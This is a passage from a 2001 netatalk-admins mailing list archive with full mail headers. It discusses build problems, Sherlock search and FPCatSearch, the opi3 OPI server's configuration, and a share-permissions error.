> http://me.in-berlin.de/~jroger/netatalk/compile-problems.lst
> 
> Most of those issues need to be resolved before a stable release, so
> hopefully we can work through them in the next week or so, get another
> tarball out, and then do a stable release a few days after that. In order
> for that to happen, Sebastian will need help from people with OpenBSD
> (Karen), NetBSD (Dallas) and Solaris (Lance, Dallas, Stew, Paul). (And of
> course, Mac OS X [Craig] would be nice.)

Yes, I think the most important problems are currently the failing build
on OpenBSD and MacOS X. I already have an idea what's going wrong with
OpenBSD and will test this in text next few day.

I also want to add that a "purified" IRC log is now available at
http://me.in-berlin.de/~jroger/netatalk/party-log.txt. I will evaluate
the log in the coming week and put up a list of all things discussed and
unresolved issues.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Nov 25 19:07:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04950
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 19:07:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA24999
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 19:07:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA24986
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 19:07:59 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA24955
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 19:07:58 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id BAA26959;
	Mon, 26 Nov 2001 01:29:26 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 26 Nov 2001 01:37:31 +0100
Subject: Re: Sherlock / search by content
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Matthew Geier <matthew@arts.usyd.edu.au>, Colin Tueck <colin@tueck.de>,
        <netatalk-admins@umich.edu>
Message-ID: <B8274D5A.151A6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B827264C.15188%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 25 Nov 2001 22:50:52 +0100, Thomas Kaiser wrote:

>> I think a 'real' ASIP server runs the search on the server and uses
>> special AFP functions to instruct and get data from a remote instance of
>> 'sherlock'.
> 
> Right. This is done with FPCatSearch.

Upps... I spoke of 'find by name' -- sorry.

AFAIK, if you search by content, then the client's sherlock will just look
into the invisible 'TheFindByContentFolder' Folder. If the contents will be
updated asynchronously by a sherlock on the server (AFAIK ASIP-only), all
the client's sherlocks can use this index for their searches.

I never managed it, to let clients update this Folder. Alistair, have you
ever done this? You gave some hints in your "README.hidden-items", I think?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Nov 25 19:41:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA06062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 19:41:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA17418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 19:41:40 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA17411
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 19:41:39 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA17384
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 19:41:38 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id AAA01958;
	Mon, 26 Nov 2001 00:41:08 GMT
Date: Mon, 26 Nov 2001 00:41:08 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: Matthew Geier <matthew@arts.usyd.edu.au>, Colin Tueck <colin@tueck.de>,
        netatalk-admins@umich.edu
Subject: Re: Sherlock / search by content
In-Reply-To: <B8274D5A.151A6%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.LNX.4.21.0111260035000.241-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 26 Nov 2001, Thomas Kaiser wrote:

> AFAIK, if you search by content, then the client's sherlock will just look
> into the invisible 'TheFindByContentFolder' Folder. If the contents will be
> updated asynchronously by a sherlock on the server (AFAIK ASIP-only), all
> the client's sherlocks can use this index for their searches.
> 
> I never managed it, to let clients update this Folder. Alistair, have you
> ever done this? You gave some hints in your "README.hidden-items", I think?

No, I have never done this. The folder is created when Sherlock is
launched but as far as I can see is never used on netatalk servers.

I remember hearing that very early versions of Sherlock allowed you to
update the FindByContent index on server volumes. However the ability was
removed in later versions.

On Appleshare IP servers, the index is updated locally on the server.

In netatalk, even a basic find by name means the client must walk the
entire server directory tree. With ASIP, where FPCatSearch is implemented,
this is done much more efficiently on the server.

My copy of Inside Appletalk does not mention the FPCatSearch function, so
I'm not sure what would be required to implement it.

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us



From netatalk.administrators-errors@umich.edu  Sun Nov 25 21:54:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11540
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 21:54:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA11301
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 21:54:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA11299
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 21:54:16 -0500 (EST)
Received: from sam.on-net.net (sam.on-net.net [204.117.190.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA11289
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 21:54:15 -0500 (EST)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by sam.on-net.net (8.11.3/8.11.6) with SMTP id fAQ2rWM07051;
	Sun, 25 Nov 2001 21:53:35 -0500 (EST)
Message-ID: <00bc01c17625$c32f0270$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: <netatalk-admins@umich.edu>
Cc: "Volker Birk" <vb@kanguruh.ebios.de>
References: <20010205181719.A22795@ebios.de>
Subject: Re: OPI Server ready
Date: Sun, 25 Nov 2001 21:54:45 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

> Volker Birk" <vb@kanguruh.ebios.de> wrote:
> Sent: Monday, February 05, 2001 12:17 PM
> Subject: OPI Server ready
> some two years ago I announced that we will develop an OPI server which
> then will be offered under the GPL.
> 
> Now it's ready. And it's an Open Project.
> 
> If someone is interested in, she/he can read something about it on
> 
> http://opi3.ebios.de

Is anyone using this? Is work continuing on this or did it die?



From netatalk.administrators-errors@umich.edu  Mon Nov 26 02:11:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA21655
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 02:11:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA04332
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 02:11:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA04313
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 02:11:14 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA04267
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 02:11:13 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA08810;
	Mon, 26 Nov 2001 08:32:40 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 26 Nov 2001 08:40:49 +0100
Subject: Re: Sherlock / search by content
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Alistair Riddell <ali@gwc.org.uk>
CC: Matthew Geier <matthew@arts.usyd.edu.au>, Colin Tueck <colin@tueck.de>,
        <netatalk-admins@umich.edu>
Message-ID: <B827B090.151C1%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0111260035000.241-100000@frank.gwc.org.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 26.11.2001 1:41 Uhr schrieb Alistair Riddell:

> My copy of Inside Appletalk does not mention the FPCatSearch function,

It has been introduced later with AFP 2.1/2.2. I found it in
http://developer.apple.com/techpubs/macos8/pdf/ASAppleTalkFiling2.1_2.2.pdf

> so I'm not sure what would be required to implement it.

The most basic thing would be per-volume databases that contain
file-/foldernames and also ids for both, IMO.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Nov 26 02:39:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA22709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 02:39:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA28882
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 02:39:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA28879
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 02:39:45 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA28869
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 02:39:43 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id fAQ7dSf15851;
	Mon, 26 Nov 2001 08:39:28 +0100
Date: Mon, 26 Nov 2001 08:39:28 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
To: Frank Morton <fmorton@base2inc.com>
Cc: netatalk-admins@umich.edu, Volker Birk <vb@kanguruh.ebios.de>
Subject: Re: OPI Server ready
Message-ID: <20011126083928.A14846@kanguruh.ebios.de.>
References: <20010205181719.A22795@ebios.de> <00bc01c17625$c32f0270$8455e5ce@edison>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <00bc01c17625$c32f0270$8455e5ce@edison>; from fmorton@base2inc.com on Sun, Nov 25, 2001 at 09:54:45PM -0500

On Sun, Nov 25, 2001 at 09:54:45PM -0500, Frank Morton wrote:
> Is anyone using this? Is work continuing on this or did it die?

Yes, it's in productional use.

No, it will definitly NOT die.

VB.
-- 
*** ebios Informationssysteme, Germany      ***  kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***  kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***  Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***  kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Mon Nov 26 06:28:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA29854
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 06:28:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA01104
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 06:28:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA01091
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 06:28:41 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA01086
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 06:28:40 -0500 (EST)
Received: from link6 ([24.93.92.117]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Mon, 26 Nov 2001 06:28:38 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: gmac63 <gmac63@carolina.rr.com>
Reply-To: gmac63@carolina.rr.com
To: netatalk-admins@umich.edu
Subject: Re: OPI Server ready
Date: Mon, 26 Nov 2001 06:29:25 -0500
X-Mailer: KMail [version 1.2]
References: <20010205181719.A22795@ebios.de> <00bc01c17625$c32f0270$8455e5ce@edison> <20011126083928.A14846@kanguruh.ebios.de.>
In-Reply-To: <20011126083928.A14846@kanguruh.ebios.de.>
MIME-Version: 1.0
Message-Id: <01112606292500.01951@link6>
Content-Transfer-Encoding: 8bit

On Monday 26 November 2001 02:39 am, Volker Birk wrote:
> On Sun, Nov 25, 2001 at 09:54:45PM -0500, Frank Morton wrote:
> > Is anyone using this? Is work continuing on this or did it die?
>
> Yes, it's in productional use.
>
> No, it will definitly NOT die.
>
> VB.

Has anyone seen Xinet FullPress OPI solution. Its interesting, but has a few 
"gotchas". The Xinet solution has solved a few problems associated with OPI 
and might be of help to the OPI project. 

One of which is parsing images and storing them in an .HSAncillary file (or 
was it the .HSResource file?!?) Anyhow, TIFFs are TIFFs and EPSs are EPSs, 
etc. This came in handy when updating files from various programs such as 
Quark and PageMaker (Ughh). 

The FullPress solution (for those who don't know) accepts high res files (and 
any other files for that matter), parses them and stores the preview/OPI 
comments in a resource file (noted above). That resource file is published 
out as "<volume name> FPO" in AppleTalk. Oh yes, we have to assume we are 
publishing for Macs (netatalk and all ;), though an OPI solution that is 
cross platform would be a fantastic idea!

This "FPO" volume contains just the resource information as far as I can 
tell, and the OPI comments. The page file (Quark, PM, Illustratort, FreeHand, 
CorelDraw) links its high res images to that FPO volume. And since a Mac is 
generally "dumb" about high res vs. low res in this case, the files uipdate 
without incident. 

The OPI solution also contains an OPI server -- that which parses and 
replaces the low for high res. Once printed to the OPI server, the images are 
replaced as per the opi comments and sent to the appropriate spool/printer.

I only wish I had an .HSAncillary or .HSResource file to play with...

The only big problem I saw with FullPress is that, as opposed to netatalk, 
all resource fork info was stored in one file. Hence a great number of type1 
printer fonts would cause a very large .HSResource file. Trust me, I've done 
that....

Netatalk fortunately stores the resource in separate files, as I can remember.

Anyhow, I would love to see an OPI (re)placement for Linux other than Helios. 
Let me knwo if I can help.

-Wes Yates

From netatalk.administrators-errors@umich.edu  Mon Nov 26 07:29:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA01362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 07:29:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA18783
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 07:29:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA18781
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 07:29:26 -0500 (EST)
Received: from sam.on-net.net (sam.on-net.net [204.117.190.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA18771
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 07:29:25 -0500 (EST)
Received: from edison (edison.base2inc.com [206.229.85.132])
	by sam.on-net.net (8.11.3/8.11.6) with SMTP id fAQCT2M01985;
	Mon, 26 Nov 2001 07:29:02 -0500 (EST)
Message-ID: <00e301c17676$22c6d8c0$8455e5ce@edison>
From: "Frank Morton" <fmorton@base2inc.com>
To: <netatalk-admins@umich.edu>, "Volker Birk" <vb@kanguruh.ebios.de>
References: <20010205181719.A22795@ebios.de> <00bc01c17625$c32f0270$8455e5ce@edison> <20011126083928.A14846@kanguruh.ebios.de.>
Subject: Re: OPI Server ready
Date: Mon, 26 Nov 2001 07:30:29 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

> > Referring to the OPI Server at http://opi3.ebios.de
> > Is anyone using this?
> 
> Yes, it's in productional use.

Is there documentation on setup anywhere for things
such as what an opi3.cfg file contains? How to create
FPOs? How to integrate with something like netatalk?

I have asked this same question a few times before
and the only response always relates to a commercial
opi package, so I guess people are not using it.

If your OPI Server works, it is of great value to many
people on this list, even if they don't know it. But, some
help getting us started will probably be required for
more people to use it.

Frank
fmorton@base2inc.com



From netatalk.administrators-errors@umich.edu  Mon Nov 26 08:45:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA04527
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 08:45:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA08053
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 08:45:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA08032
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 08:45:41 -0500 (EST)
Received: from kanguruh.ebios.de (kanguruh.ebios.de [195.126.148.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA07952
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 08:45:39 -0500 (EST)
Received: (from vb@localhost)
	by kanguruh.ebios.de (8.11.0/8.8.8) id fAQDjXi22502;
	Mon, 26 Nov 2001 14:45:33 +0100
Date: Mon, 26 Nov 2001 14:45:33 +0100
From: Volker Birk <vb@kanguruh.ebios.de>
To: Frank Morton <fmorton@base2inc.com>
Cc: netatalk-admins@umich.edu, Volker Birk <vb@kanguruh.ebios.de>
Subject: Re: OPI Server ready
Message-ID: <20011126144532.C15664@kanguruh.ebios.de.>
References: <20010205181719.A22795@ebios.de> <00bc01c17625$c32f0270$8455e5ce@edison> <20011126083928.A14846@kanguruh.ebios.de.> <00e301c17676$22c6d8c0$8455e5ce@edison>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <00e301c17676$22c6d8c0$8455e5ce@edison>; from fmorton@base2inc.com on Mon, Nov 26, 2001 at 07:30:29AM -0500

On Mon, Nov 26, 2001 at 07:30:29AM -0500, Frank Morton wrote:
> Is there documentation on setup anywhere for things
> such as what an opi3.cfg file contains?

There is not much documentation until now - sorry.
We'll be better in the future - could someone help, please?

The settings for the config file are:

output=opi13|opi20|opimixed
        Version of OPI comments in the output file

linesep=cr|lf|crlf|lfcr
        line separation in the output file

replace=auto|manual
        if manual, ask user with wich files the pictures are to be
        replaced

log=<hostpath>
        path for log file opi3 writes to

data=hex|bin
        flag wether opi3 should output pictures in binary or as text

case=on|off
        flag wether opi3 should be case sensitive in file names

hires=<hostpath>
        path, where opi3 searches for the high res pictures (in host
        format)

lores=<clientpath>
        path where low res pictures were inserted from

> How to create
> FPOs?

What do you mean with "FPO"?

The low res pictures are automatically created by the scripts which you
can find on http://opi3.ebios.de also.

The scripts create the directory structure and for every picture in the
high res directory which is a TIFF file they create a low res picture in
the low res directory path at the same place.

> How to integrate with something like netatalk?

Opi3 just reads an input file and outputs an output file. So you could
create some named pipes to use it as an lpr filter. Have a look at the
sample scripts also, there is a solution for that.

Unfortunately it is only possible to use TIFF pictures with the existing
scripts (the reason is easy: the people who use it have such pictures).
And there is only less documentation until now.

> I have asked this same question a few times before
> and the only response always relates to a commercial
> opi package, so I guess people are not using it.

Oh? I never received such a message from you, I'm sorry.
The commercial OPI package is not ready until now, so this information
is not correct. Where did you get the response from?

It is right, that (like with sendmail) we're planning to offer a
commercial package with Installer, GUI and so on. The opi3 software
itself will remain GPL. I think, if someone uses GPLed software, she/he
should be able to install and script little things for herself/himself.
If someone says: "I only want to press SETUP and then it has to work and
I want a phone number to call if something does not work and I want a
GUI to deal with everything", for these people we will offer the
commercial version.

The server software of the commercial release will be exactly the same
you can find on http://opi3.ebios.de, precompiled and additionally the
source code (necessary for a GPLed software).

Only the SETUP, the GUI and the hotline will be commercial.

> If your OPI Server works, it is of great value to many
> people on this list, even if they don't know it. But, some
> help getting us started will probably be required for
> more people to use it.

That's the truth, of course. And netatalk was the reason for us to do
opi3 and to offer it under GPL. But: we only have less time to work on it
and we hope that probably someone will join in to improve the scripts
and documentation.

I could offer other things, too. We're porting netatalk to HP UX. The
afpd works already with Apple Share IP. The DDP kernel work is not
ready. If someone is interested, I will post more information here.

Unfortunately our amount of time to do such things is very
small, so I hope that someone else will be interested in porting
netatalk to HP UX also. We're working on that furthermore.

VB.
-- 
*** ebios Informationssysteme, Germany      ***  kangu:~ $ cd /pub/
*** Gut-Betha-Platz 1, 88339 Bad Waldsee    ***  kangu:/pub $ more beer
*** Phone +49-7524-93421 Fax +49-7524-93423 ***  Aaahhhh! That was good!
*** mailto:vb@ebios.de                      ***  kangu:/pub $ _

From netatalk.administrators-errors@umich.edu  Mon Nov 26 11:16:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12826
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 11:16:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA03092
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 11:16:42 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA03071
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 11:16:41 -0500 (EST)
Received: from cliff.niehs.nih.gov (cliff.niehs.nih.gov [157.98.8.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA03028
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 11:16:40 -0500 (EST)
Received: from cliff.niehs.nih.gov (IDENT:root@localhost.localdomain [127.0.0.1])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-POST-1.10) with ESMTP id LAA17344
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 11:16:39 -0500
Received: from trollope.niehs.nih.gov (trollope.niehs.nih.gov [157.98.13.26])
	by cliff.niehs.nih.gov (8.9.3/8.9.3/NIEHS-PRE-1.14) with ESMTP id LAA17322
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 11:16:39 -0500
Received: by trollope.niehs.nih.gov with Internet Mail Service (5.5.2653.19)
	id <XG93DDYM>; Mon, 26 Nov 2001 11:17:29 -0500
Message-ID: <4D693F933DD8D311A18C00E018B005760D254F26@trollope.niehs.nih.gov>
From: "Miller.Jonathan" <MILLER18@niehs.nih.gov>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Access priveleges
Date: Mon, 26 Nov 2001 11:17:25 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"

Has anyone had a problem writing files to directories when you should have
sufficient access to do so?  I have a world-writable directory (according to my
RH Linux 6.2 box) that's in a netatalk-shared directory.  But even though the
directory is mod 777 (and I can write a file using SMB from my NT box), I can an
access privelege error when trying to copy from Mac OS 9.2 and (I think) 8.6.  

As I said, it's RH 6.2, and I'm pretty sure I've got netatalk v1.4.  Any
thoughts?

Thanks,
Jon

Jonathan Miller
Bioinformatics System Administrator
NIEHS MicroArray Center (ITSS) 

From netatalk.administrators-errors@umich.edu  Mon Nov 26 12:58:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17495
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Nov 2001 12:58:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA02746
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Nov 2001 12:58:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA02703
	for netatalk.administrators-members@umich.edu; Mon, 26 Nov 2001 12:58:48 -0500 (EST)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA02647
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 12:58:46 -0500 (EST)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 26 Nov 2001 17:59:31 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.1.R)
	for <netatalk-admins@umich.edu>; Mon, 26 Nov 2001 18:58:08 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 26 Nov 2001 18:58:01 +0100
Subject: Re: Access priveleges
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8284139.2C7D7%ts@visual-s.de>
In-Reply-To: <4D693F933DD8D311A18C00E018B005760D254F26@trollope.niehs.nih.gov>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 2001-11-26 17:17 +0100, Miller.Jonathan <MILLER18@niehs.nih.gov> wrote:

> Has anyone had a problem writing files to directories when you should have
> sufficient access to do so?  I have a world-writable directory (according to
> my
> RH Linux 6.2 box) that's in a netatalk-shared directory.  But even though the
> directory is mod 777 (and I can write a file using SMB from my NT box), I can
> an
> access privelege error when trying to copy from Mac OS 9.2 and (I think) 8.6.
> 
> As I said, it's RH 6.2, and I'm pretty sure I've got netatalk v1.4.  Any
> thoughts?

Check if the hidden Apple special folders (.AppleDouble, .AppleDesktop etc)
are world writeable, too. I'm not at my Linux box right now, but if memory
doesn't fail, those folders are written to as the logged in user.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Mon Nov 26 13:13:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17942
